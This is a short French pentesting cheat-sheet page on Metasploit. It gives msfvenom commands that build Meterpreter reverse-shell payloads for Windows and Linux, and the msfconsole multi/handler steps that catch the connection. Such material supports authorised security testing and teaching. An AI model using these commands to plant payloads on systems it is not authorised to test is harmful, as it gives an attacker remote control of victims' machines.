[Exploitation/Réseau] Metasploit

Introduction

Metasploit est un framework complet pour les pentester. Il est très célèbre et réputé pour sa facilité d'utilisation.

Reverse shell Meterpreter

Payload Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> --format=exe > payload.exe
```

Payload Linux

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > payload.elf
```

Listener

Après avoir généré le payload, vous devez lancer la console metasploit pour lancer le serveur d'écoute :

```
msfconsole
```

Une fois dans la console, il faut indiquer à metasploit que l'on souhaite se rendre dans la catégorie des listener :

```
use multi/handler
```

Ensuite, il faut définir le type de payload utilisé :

```
set payload <PAYLOAD>
```

Définir l'adresse IP d'écoute :

```
set LHOST <IP>
```

Définir le port d'écoute :

```
set LPORT <PORT>
```

Démarrer le serveur d'écoute :

```
run
```

Revision #2
Created 11 December 2023 16:46:56 by Elieroc
Updated 3 May 2024 13:13:32 by Elieroc